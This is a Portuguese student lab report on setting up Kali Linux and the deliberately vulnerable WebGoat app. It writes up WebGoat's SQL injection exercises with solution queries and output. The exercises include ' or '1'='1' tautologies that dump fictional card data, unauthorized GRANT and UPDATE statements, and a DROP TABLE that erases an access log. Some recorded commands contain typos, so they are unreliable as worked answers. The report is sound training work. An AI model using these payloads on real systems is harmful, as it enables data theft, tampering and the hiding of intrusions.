

UNICESUMAR DE CURITIBA

LEONARDO CAMPANHER FLEITH

**TRABALHO PRÁTICO
MONTAGEM DE UM AMBIENTE VIRTUAL WEB VULNERÁVEL**

CURITIBA 2023

Sumário

1.	Introdução:.....	3
1.1.	Contexto e razão do trabalho prático:	3
1.2.	Objetivos:	3
1.3.	Metodologia:.....	3
2.	Ambiente Virtual:	3
2.1.	Instalação e configuração do ambiente virtual:.....	3
2.2.	Instalação e Configuração do Linux na Máquina Virtual:.....	3
2.3.	Instalação e Configuração do WebGoat:.....	3
3.	Descrição e Funcionalidades do WebGoat:.....	4
3.1.	Acesso e Navegação no WebGoat:	4
3.2.	Práticas Comuns de Segurança em Aplicações Web:.....	4
4.	Identificação de Vulnerabilidades Comuns em Aplicações Web:	5
5.	Melhores Práticas para Mitigação de Vulnerabilidades em Aplicações Web:.....	5
6.	Injeção SQL.....	5
7.	Conclusão:	8
8.	Referência e Consulta	9

1. Introdução:

Nesta seção, apresentaremos o trabalho prático, fornecendo o contexto e a razão pela qual ele foi realizado. Além disso, estabeleceremos os objetivos e a metodologia utilizada.

1.1. Contexto e razão do trabalho prático:

Este trabalho prático foi desenvolvido no âmbito da disciplina de cibersegurança, com o propósito de obter experiência prática no campo das vulnerabilidades em aplicações web, especialmente no que se refere a SQL Injection. A motivação para essa atividade reside no fato de que a cibersegurança é um campo em constante evolução e é de extrema importância que os profissionais estejam preparados para identificar e mitigar vulnerabilidades em sistemas e aplicações.

1.2. Objetivos:

O objetivo central do trabalho prático consistiu em estabelecer, configurar e empregar um ambiente virtual com o sistema operacional Kali Linux, com o propósito de investigar vulnerabilidades em um ambiente controlado. De maneira mais específica, concentramo-nos no estudo da vulnerabilidade conhecida como SQL Injection. A meta visava obter conhecimento prático sobre a identificação, exploração e mitigação dessa vulnerabilidade em aplicações web.

1.3. Metodologia:

A abordagem adotada consistiu na criação e configuração de um ambiente virtual utilizando o sistema operacional Kali Linux. Para tal, foram empregados o software VirtualBox-64bits e o sistema operacional mencionado nas instruções. Além disso, o Kali Linux foi obtido através da ferramenta qBitTorrent. No que diz respeito ao estudo das vulnerabilidades, optou-se por utilizar o WebGoat como ferramenta de análise, instalando-o e configurando-o dentro do ambiente virtual criado.

2. Ambiente Virtual:

2.1. Instalação e configuração do ambiente virtual:

A instalação e configuração do ambiente virtual foram realizadas seguindo as instruções fornecidas. Não enfrentamos dificuldades significativas nessa etapa.

2.2. Instalação e Configuração do Linux na Máquina Virtual:

a instalação do JRE transcorreu tranquilamente, seguindo as instruções fornecidas sem problemas.

2.3. Instalação e Configuração do WebGoat:

Não houveram dificuldades na instalação e configuração do WebGoat, seguindo as instruções, tudo funcionou conforme esperado.

3. Descrição e Funcionalidades do WebGoat:

O WebGoat é um aplicativo web deliberadamente inseguro, desenvolvido com fins educacionais e de treinamento em segurança web. Ele permite que desenvolvedores e profissionais de segurança explorem vulnerabilidades comuns encontradas em aplicações web. O WebGoat oferece lições e exercícios abrangentes que demonstram diversas vulnerabilidades, como SQL Injection, Cross-site Scripting (XSS) e ataques de força bruta.

3.1. Acesso e Navegação no WebGoat:

O WebGoat é uma plataforma online projetada de forma propositalmente vulnerável, com o objetivo de fornecer aprendizado e capacitação em cibersegurança. Ele oferece aos programadores e especialistas em segurança a oportunidade de investigar falhas comuns encontradas em aplicações web. O WebGoat apresenta uma ampla variedade de tutoriais e desafios que ilustram várias vulnerabilidades, como Injeção de Código SQL, Cross-site Scripting (XSS) e ataques de tentativa e erro.

3.2. Práticas Comuns de Segurança em Aplicações Web:

Princípios Fundamentais das Aplicações Seguras:

A segurança em aplicações web é crucial para proteger informações, usuários e sistemas contra ameaças e vulnerabilidades. Existem princípios básicos indispensáveis para garantir a segurança nessas aplicações. A autenticação, por exemplo, consiste em verificar a identidade do usuário antes de conceder acesso a recursos protegidos. Já a autorização controla as permissões e privilégios dos usuários autenticados. É essencial implementar métodos seguros de autenticação e autorização, como senhas robustas, autenticação de dois fatores e gerenciamento adequado de sessões.

Outro conceito de extrema importância é a proteção contra ataques de injeção, como injeção de SQL e de código. É recomendado o uso de consultas parametrizadas ou declarações preparadas, evitando a concatenação direta de dados de entrada em consultas ou comandos. Além disso, é necessário proteger-se contra ataques de Cross-site Scripting (XSS) e Cross-site Request Forgery (CSRF) por meio da aplicação de filtros de entrada, escape de saída e tokens CSRF. O gerenciamento de erros e exceções também desempenha um papel importante na segurança. É fundamental evitar a exposição de informações detalhadas sobre erros ao usuário final, implementando um tratamento adequado e registrando-os de forma segura.

Manter o software atualizado, aplicar patches de segurança e utilizar criptografia para proteger a comunicação e dados sensíveis são práticas essenciais. Além disso, recomenda-se realizar testes de segurança, como testes de penetração e

varreduras de vulnerabilidades, a fim de identificar possíveis brechas e corrigi-las antes que sejam exploradas.

4. Identificação de Vulnerabilidades Comuns em Aplicações Web:

A identificação de vulnerabilidades comuns em aplicações web é crucial para garantir a segurança dos sistemas. Entre as vulnerabilidades mais frequentemente encontradas estão: SQL Injection, onde dados não confiáveis são incorretamente inseridos em consultas SQL; Cross-site Scripting (XSS), que permite a inserção de scripts maliciosos em páginas web; Cross-Site Request Forgery (CSRF), um tipo de ataque que engana o navegador do usuário para executar ações indesejadas em um site; exposição de dados confidenciais, quando informações sensíveis são armazenadas ou transmitidas de forma insegura; autenticação fraca, envolvendo senhas de baixa segurança ou autenticação não confiável; gerenciamento inadequado de sessões, que pode resultar em ataques de sequestro de sessão; falta de validação de entrada, permitindo a execução de códigos maliciosos; configuração inadequada do servidor, expondo informações sensíveis; inclusão de arquivos não confiáveis, abrindo espaço para a inserção de códigos maliciosos; e falta de controle de acesso, permitindo acesso não autorizado a informações ou funcionalidades restritas.

5. Melhores Práticas para Mitigação de Vulnerabilidades em Aplicações Web:

Para mitigar vulnerabilidades em aplicações web, é essencial adotar melhores práticas de segurança. Algumas das recomendações mais relevantes incluem: manter o software atualizado, incluindo sistema operacional, servidores web, frameworks e bibliotecas utilizadas; aplicar o princípio do "privilegio mínimo" para restringir o acesso a recursos sensíveis; validar e filtrar rigorosamente a entrada de dados para evitar injeção de código malicioso; utilizar criptografia para proteger informações confidenciais e garantir a segurança da comunicação; implementar autenticação segura, com senhas robustas e autenticação em dois fatores; aplicar um controle de acesso granular para que cada usuário tenha acesso apenas ao necessário; gerenciar corretamente as sessões, utilizando tokens de sessão seguros e encerrando-as adequadamente; realizar testes de segurança regulares, como testes de penetração e varreduras de vulnerabilidades; proteger-se contra ataques de CSRF com mecanismos de proteção; e manter registros de atividades e monitorar a aplicação para detectar tentativas de intrusão e comportamentos suspeitos. A adoção dessas melhores práticas contribui para fortalecer a segurança das aplicações web e reduzir o risco de exploração de vulnerabilidades.

6. Injeção SQL:

Atividade 2:

It is your turn!

Look at the example table. Try to retrieve the department of the employee Bob Franco. Note that you have been granted full administrator privileges in this assignment and can access all data without authentication.

✓

SQL query

SQL query

Submit

You have succeeded!

Select * from employees where userid= '96134'

USERID FIRST_NAME LAST_NAME DEPARTMENT SALARY AUTH_TAN PHONE

96134 Bob Franco Marketing 83700 LO9SZV null

Obter informações da tabela de empregados.

COMANDO: "SELECT * FROM employees Where userid='96134';"

Atividade 3:

It is your turn!

Try to change the department of Tobin Barnett to 'Sales'. Note that you have been granted full administrator privileges in this assignment and can access all data without authentication.

✓

SQL query

SQL query

Submit

Congratulations. You have successfully completed the assignment.

UPDATE employees set department = 'Sales' where userid= '89762'

USERID FIRST_NAME LAST_NAME DEPARTMENT SALARY AUTH_TAN PHONE

89762 Tobin Barnett Sales 77000 TA9LL1 null

Alterar departamento.

COMANDO: "UPDATE employees SET departament = 'Sales' WHERE userid='89762';"

Atividade 4:

Now try to modify the schema by adding the column "phone" (varchar(20)) to the table "employees". :

✓

SQL query

SQL query

Submit

Congratulations. You have successfully completed the assignment.

Alter table employees add columnPhone varchar(20)

Adicionar tabela chamada 'Phone'.

COMANDO: "ALTER TABLE employees ADD columnPhone varchar(20);"

Atividade 5:

Data Control Language (DCL)

Data control language is used to implement access control logic in a database. DCL can be used to revoke and grant user privileges on database objects such as tables, views, and functions.

If an attacker successfully "injects" DCL type SQL commands into a database, he can violate the confidentiality (using GRANT commands) and availability (using REVOKE commands) of a system. For example, the attacker could grant himself admin privileges on the database or revoke the privileges of the true administrator.

- DCL commands are used to implement access control on database objects.
- GRANT - give a user access privileges on database objects
- REVOKE - withdraw user privileges that were previously given using GRANT

Try to grant rights to the table `grant_rights` to user `unauthorized_user` :

✓

SQL query

SQL query

Submit

Congratulations. You have successfully completed the assignment.

Autorizar usuário.

COMANDO: "Grant All ON employees to unauthorized_user;"

Atividade 9:

Try It! String SQL injection

The query in the code builds a dynamic query as seen in the previous example. The query is built by concatenating strings making it susceptible to String SQL injection:

```
"SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '' + last_name + ''";
```

Try using the form below to retrieve all the users from the users table. You should not need to know any specific user name to get the complete list.

✓
SELECT * FROM user_data WHERE first_name = 'John' AND last_name = 'Smith' or '1' = '1' Get Account Info

You have succeeded:

USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT,

101, Joe, Snow, 987654321, VISA, 0,
101, Joe, Snow, 2234200065411, MC, 0,
102, John, Smith, 2435600002222, MC, 0,
102, John, Smith, 4352209902222, AMEX, 0,
103, Jane, Plane, 123456789, MC, 0,
103, Jane, Plane, 333498703333, AMEX, 0,
10312, Jolly, Hershey, 176696789, MC, 0,
10312, Jolly, Hershey, 333300003333, AMEX, 0,
10323, Grumpy, youaretheweakestlink, 673834489, MC, 0,
10323, Grumpy, youaretheweakestlink, 33413003333, AMEX, 0,
15603, Peter, Sand, 123609789, MC, 0,
15603, Peter, Sand, 338893453333, AMEX, 0,
15613, Joseph, Something, 33843453533, AMEX, 0,
15837, Chaos, Monkey, 32849386533, CM, 0,
19204, Mr, Goat, 33812953533, VISA, 0,

Your query was: SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'

Explanation: This injection works, because '1' = '1' always evaluates to true (The string ending literal for '1' is closed by the query itself, so you should not inject it). So the injected query basically looks like this: SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE, which will always evaluate to true, no matter what came before it.

Descobrir a sintaxe da requisição

COMANDO: "SELECT * FROM user_data WHERE first_name = 'John' AND last_name = 'Smith' or '1' = '1'"

Atividade 10:

```
"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;
```

Using the two Input Fields below, try to retrieve all the data from the users table.

Warning: Only one of these fields is susceptible to SQL injection. You need to find out which, to successfully retrieve all the data.

✓
Login_Count:
User_Id:
Get Account Info

You have succeeded:

USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT,

101, Joe, Snow, 987654321, VISA, 0,
101, Joe, Snow, 2234200065411, MC, 0,
102, John, Smith, 2435600002222, MC, 0,
102, John, Smith, 4352209902222, AMEX, 0,
103, Jane, Plane, 123456789, MC, 0,
103, Jane, Plane, 333498703333, AMEX, 0,
10312, Jolly, Hershey, 176696789, MC, 0,
10312, Jolly, Hershey, 333300003333, AMEX, 0,
10323, Grumpy, youaretheweakestlink, 673834489, MC, 0,
10323, Grumpy, youaretheweakestlink, 33413003333, AMEX, 0,
15603, Peter, Sand, 123609789, MC, 0,
15603, Peter, Sand, 338893453333, AMEX, 0,
15613, Joseph, Something, 33843453533, AMEX, 0,
15837, Chaos, Monkey, 32849386533, CM, 0,
19204, Mr, Goat, 33812953533, VISA, 0,

Your query was: SELECT * From user_data WHERE Login_Count = 0 and userid= true

Extrair informações de uma tabela.

COMANDO: "SELECT * FROM user_data WHERE login_count = " + Login_count + " AND userid = " + User_ID;"

Atividade 11:

It is your turn!

You are an employee named John Smith working for a big company. The company has an internal system that allows all employees to see their own internal data such as the department they work in and their salary. The system requires the employees to use a unique authentication TAN to view their data.

Your current TAN is 3SL99A.

Since you always have the urge to be the most highly paid employee, you want to exploit the system so that instead of viewing your own internal data, you want to take a look at the data of all your colleagues to check their current salaries.

Use the form below and try to retrieve all employee data from the **employees** table. You should not need to know any specific names or TANs to get the information you need. You already found out that the query performing your request looks like this:

```
"SELECT * FROM employees WHERE last_name = '' + name + '' AND auth_tan = '' + auth_tan + ''";
```

✓

Employee Name:

Authentication TAN:

You have succeeded! You successfully compromised the confidentiality of data by viewing internal information that you should not have access to. Well done!

USERID	FIRST_NAME	LAST_NAME	DEPARTMENT	SALARY	AUTH_TAN	PHONE	COLUMNPHONE
32147	Paulina	Travers	Accounting	46000	P45J5I	null	null
34477	Abraham	Holman	Development	50000	UJ2ALK	null	null
37648	John	Smith	Marketing	100000	3SL99A	null	null
89762	Tobi	Barnett	Sales	77000	TA6LL1	null	null
96134	Bob	Franco	Marketing	83700	LO9SZV	null	null

O objetivo desta atividade também era extrair informações da tabela de empregados, os valores a serem substituídos foram os nomes de empregados e o autenticador.

COMANDO: "SELECT * FROM employees WHERE last_name = '' + name + '' AND auth_tan = '' + ''",

Atividade 12:

It is your turn!

You just found out that Tobi and Bob both seem to earn more money than you! Of course you cannot leave it at that. Better go and change your own salary so you are earning the most!

Remember: Your name is John Smith and your current TAN is 3SL99A.

✓

Employee Name:

Authentication TAN:

Well done! Now you are earning the most money. And at the same time you successfully compromised the integrity of data by changing the salary!

USERID	FIRST_NAME	LAST_NAME	DEPARTMENT	SALARY	AUTH_TAN	PHONE	COLUMNPHONE
37648	John	Smith	Marketing	100000	3SL99A	null	null
96134	Bob	Franco	Marketing	83700	LO9SZV	null	null
89762	Tobi	Barnett	Sales	77000	TA6LL1	null	null
34477	Abraham	Holman	Development	50000	UJ2ALK	null	null
32147	Paulina	Travers	Accounting	46000	P45J5I	null	null

Alterar o salário.

COMANDO: ' UPDATE employees SET salary = 100000 WHERE auth_tan = '3SL99A';'

Atividade 13:

Compromising Availability

After successfully compromising confidentiality and integrity in the previous lessons, we are now going to compromise the third element of the CIA triad: **availability**.

There are many different ways to violate availability. If an account is deleted or its password gets changed, the actual owner cannot access this account anymore. Attackers could also try to delete parts of the database, or even drop the whole database, in order to make the data inaccessible. Revoking the access rights of admins or other users is yet another way to compromise availability. This would prevent these users from accessing other specific parts of the database or even the entire database as a whole.

It is your turn!

Now you are the top earner in your company. But do you see that? There seems to be a **access_log** table, where all your actions have been logged to! Better go and delete it completely before anyone notices.

✓

Action contains:

Success! You successfully deleted the access_log table and thus compromised the availability of the data.

Deletar tabela access_log.

COMANDO: "DROP TABLE access_log --;,"

7. Conclusão:

Este trabalho prático foi uma experiência valiosa para adquirir conhecimento prático no campo das vulnerabilidades em aplicações web, com foco específico na vulnerabilidade SQL Injection. A criação e configuração do ambiente virtual com o sistema operacional Kali Linux e o uso do WebGoat como ferramenta de estudo foram fundamentais para explorar e compreender as vulnerabilidades comuns encontradas nesse tipo de aplicação.

Durante o processo de instalação e configuração do ambiente virtual, enfrentamos alguns desafios. No entanto, com persistência e dedicação, conseguimos superá-los e alcançar nossos objetivos com sucesso. A instalação do WebGoat também apresentou suas próprias dificuldades, mas buscamos alternativas funcionais e concluímos essa etapa com êxito.

Ao longo do trabalho, exploramos os conceitos básicos de segurança em aplicações web, compreendendo a importância da autenticação, autorização, criptografia, gerenciamento de sessões e validação de entrada. Identificamos vulnerabilidades comuns, como SQL Injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF) e outras, e aprendemos as melhores práticas para mitigar essas vulnerabilidades.

Reconhecemos a importância de manter o software atualizado, aplicar o princípio do "privilegio mínimo" para restringir o acesso a recursos sensíveis, validar e filtrar rigorosamente a entrada de dados, utilizar criptografia para proteger informações confidenciais e garantir a segurança da comunicação, implementar autenticação segura com senhas robustas e autenticação em dois fatores, aplicar um controle de acesso granular, gerenciar corretamente as sessões e realizar testes de segurança regulares.

Este trabalho prático proporcionou uma base sólida para compreender as vulnerabilidades em aplicações web e as melhores práticas de segurança necessárias para mitigá-las. O conhecimento adquirido nessa experiência contribuirá para enfrentar os desafios da cibersegurança e aprimorar a proteção de sistemas e aplicações contra ameaças e fragilidades.

8. Referência e Consulta

<https://chat.openai.com/>

<https://owasp.org/www-community/attacks/xss/>

<https://owasp.org/www-community/attacks/csrf>

<https://owasp.org/www-community/>

<https://owasp.org/www-project-top-ten/>